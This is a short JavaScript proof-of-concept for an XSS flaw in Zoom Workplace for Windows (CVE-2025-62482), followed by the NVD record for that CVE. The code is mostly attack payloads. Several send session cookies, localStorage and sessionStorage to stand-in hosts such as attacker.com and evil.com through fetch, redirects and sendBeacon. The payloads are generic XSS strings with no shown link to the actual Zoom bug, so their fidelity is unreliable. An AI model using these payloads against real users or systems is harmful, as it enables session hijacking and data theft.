CVE-2025-62482

// CVE-2025-62482 PoC - Zoom Workplace XSS // This PoC demonstrates the XSS vulnerability in Zoom Workplace for Windows // Target: Zoom Workplace for Windows < 6.5.10 // Attack vector 1: Malicious meeting link const maliciousMeetingLink = "zoommtg://meeting/join?confno=%3Cscript%3Ealert%28%27XSS%27%29%3C/script%3E"; // Attack vector 2: Malicious chat message content const maliciousChatPayload = "<img src=x onerror=\"fetch('https://attacker.com/steal?cookie='+document.cookie)\">"; // Attack vector 3: Malicious file share name const maliciousFileName = "<script>document.location='https://evil.com/log?data='+btoa(document.cookie)</script>"; // Attack vector 4: Exploit in meeting chat const exploitChat = { type: "chat", content: "<a href='javascript:fetch(\"https://attacker.com/exfil?data=\"+btoa(document.cookie))'>Click here</a>", timestamp: Date.now() }; // Auto-execution payload for demonstration const autoExecPayload = ` <script> // Steal session information const sessionData = { cookies: document.cookie, localStorage: localStorage, sessionStorage: sessionStorage, userAgent: navigator.userAgent }; // Send data to attacker server navigator.sendBeacon('https://attacker.com/collect', JSON.stringify(sessionData)); </script> `; // Display PoC information console.log('=== CVE-2025-62482 PoC ==='); console.log('Target: Zoom Workplace for Windows < 6.5.10'); console.log('Vulnerability: Cross-Site Scripting (XSS)'); console.log('CVSS Score: 4.3 (Medium)'); console.log('\nAttack Payloads Generated:'); console.log('1. Meeting Link Injection:', maliciousMeetingLink); console.log('2. Chat Message Payload:', maliciousChatPayload); console.log('3. File Name Payload:', maliciousFileName); console.log('4. Auto-exec Script:', autoExecPayload); // Recommendation: Upgrade to Zoom Workplace 6.5.10 or later

{"cve": {"id": "CVE-2025-62482", "sourceIdentifier": "[email protected]", "published": "2025-11-13T15:15:51.697", "lastModified": "2026-01-13T20:50:33.410", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cross-site scripting in Zoom Workplace for Windows before version 6.5.10 may allow an unauthenticated user to impact integrity via network access."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:zoom:meeting_software_development_kit:*:*:*:*:*:windows:*:*", "versionEndExcluding": "6.5.10", "matchCriteriaId": "851C9061-1A47-4521-9FD9-9933A5A7509A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zoom:workplace_desktop:*:*:*:*:*:windows:*:*", "versionEndExcluding": "6.5.10", "matchCriteriaId": "366D7D39-E1C5-48C0-8F12-F4860FA5BD44"}]}]}], "references": [{"url": "https://www.zoom.com/en/trust/security-bulletin/zsb-25046", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}